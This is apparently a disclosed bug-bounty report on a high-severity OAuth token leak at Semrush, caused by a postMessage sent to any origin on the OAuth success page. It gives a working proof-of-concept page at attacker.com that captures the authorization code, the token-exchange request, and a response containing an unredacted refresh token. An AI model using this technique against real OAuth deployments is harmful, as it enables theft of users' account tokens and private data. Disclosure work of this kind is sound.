HexBrain

Semrush · Report #314814

[oauth token leak] at oauth.semrush.com

Validstatus
highseverity
70upvotes
17 Apr 2018disclosed

How it was found

Domain, site, application

oauth.semrush.com

Steps to reproduce

  1. Create following html at attacker.com/postmessage.html
<script>
  function listener(event) {
    alert(JSON.stringify(event.data));
  }

  var dest = window.open("https://oauth.semrush.com/oauth2/authorize?response_type=code&scope=user.info,projects.info,siteaudit.info&client_id=seoquake&redirect_uri=https%3A%2F%2Foauth.semrush.com%2Foauth2%2Fsuccess&state=636e7bae-22ed-407d-8d62-1d49b49ec962");
  
  window.addEventListener("message", listener);
</script>
  1. Go to attacker.com/postmessage.html (make sure you are logged in at www.semrush.com)
  2. Click "Approve"
  3. Go to tab with attacker.com, you will see alert with code
  4. Make POST request with obtained code
POST /oauth2/access_token HTTP/1.1
Host: oauth.semrush.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 205
DNT: 1
Connection: close

client_id=seoquake&client_secret=██████████&grant_type=authorization_code&code=[COPY OBTAINED CODE HERE]&redirect_uri=https%3A%2F%2Foauth.semrush.com%2Foauth2%2Fsuccess
  1. Receive response with access token and refresh token
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
Connection: close
Cache-Control: no-cache
Date: Sat, 10 Feb 2018 19:06:38 GMT
Set-Cookie: session=████; expires=Sat, 10-Feb-2018 21:06:38 GMT; Max-Age=7200; path=/; httponly

{"access_token":"███████","token_type":"Bearer","expires_in":604800,"refresh_token":"kiAMXIrTVjfvD131wraCjTLN4CzS7ABhqUGvweYC"}

Actual results

access token and refresh token of victim:

{"access_token":"██████████","token_type":"Bearer","expires_in":604800,"refresh_token":"kiAMXIrTVjfvD131wraCjTLN4CzS7ABhqUGvweYC"}

PoC, exploit code, screenshots, video, references, additional resources

This vulnerability is possible due to lack of window.opener origin check at https://oauth.semrush.com/oauth2/success:

<script>
	if (window.opener && typeof opener.postMessage === 'function') {
		opener.postMessage({ type: 'semrush:oauth:success', url: location.href }, '*');
	}
</script>

Meaning any site that opens https://oauth.semrush.com/oauth2/success may read code in location.href.

Attack vector based on fact that user sees SEOquake authorization page F262215 thinking that it's just official application permission request and with high probability clicks "Approve".

Still working at vector without this small user interaction.

Impact

OAuth tokens leakage. This leads to user sensitive information leakage. Note: it's not necessary to install SEOquake plugin!

P.S.

I'm aware of user info leakage, project info leakage and Site Audit info leakage but maybe there is wider scope of possible sensitive info leak.

I've reported vulnerability as soon as possible therefore no time to deeper scope research.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original